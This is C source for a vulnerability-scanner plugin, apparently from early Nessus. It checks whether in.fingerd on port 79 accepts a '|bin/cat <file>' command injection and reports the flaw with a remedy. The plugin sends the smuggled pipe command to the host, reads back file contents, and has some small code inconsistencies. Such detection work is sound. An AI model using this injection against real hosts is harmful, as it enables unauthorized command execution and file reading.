/*
 * 
 * in.fingerd
 *
 * This plugin was written by Renaud Deraison and is released
 * under the GPL
 *
 */
#include <includes.h>

#define NAME "in.fingerd '|command@host' bug"
#define DESC "\
Some versions of in.fingerd allow a remote user to execute\n\
arbitrary commands on a remote host. This plugin tries to\n\
execute '/bin/id'\n\n\
Risk factor : high"
#define COPYRIGHT "no copyright"
#define SUMM "determines if in.fingerd is exploitable"


PlugExport int plugin_init(struct arglist *desc);
PlugExport int plugin_init(struct arglist *desc)
{
	plug_set_name(desc, NAME);
	plug_set_description(desc, DESC);
	plug_set_summary(desc, SUMM);
	plug_set_copyright(desc, COPYRIGHT);
	plug_set_category(desc, ACT_ATTACK);
	plug_set_family(desc, "finger abuses");
	return(0);
}


PlugExport int plugin_run(struct arglist * args);	
PlugExport int plugin_run(struct arglist * args)
{
	
	int soc;
	char * buffer;
	if(host_get_port_state(args, 79)<=0)return(0);  
	else {
	if((soc = open_sock_tcp(args, 79))<0)return(-1);
	buffer = emalloc(255);
	sprintf(buffer, "/W\n");
	send(soc, buffer, 3, 0);
	read(soc, buffer, 254);
	if(strstr("name:", buffer) || strstr("/W", buffer))
	{
		char * result;
		char * command;
		efree(&buffer);
		buffer = emalloc(4*1024);
		command = emalloc(255);
		sprintf(command, "|bin/cat %s\n", get_preference(args, "test_file"));
		send(soc, command, strlen(command), 0);
		read(soc, buffer,  4*1024-1);
		result = emalloc(strlen(buffer) + 100);
		sprintf(result, 
"The dgux in.fingerd vulnerability is present\nfinger \"|/bin/cat %s\"@%s gives :\n%s\n\
Solution : upgrade your in.fingerd or delete the 'finger' line\n\
in /etc/inetd.conf if you don't use this service", 
 		get_preference(args, "test_file"),
		plug_get_hostname(args), buffer);
		efree(&buffer);
		post_hole(args, 79, result);
		efree(&result);
		
	}
	else {
		efree(&buffer);
	}
	}
	socket_close(soc);
	return(0);
}

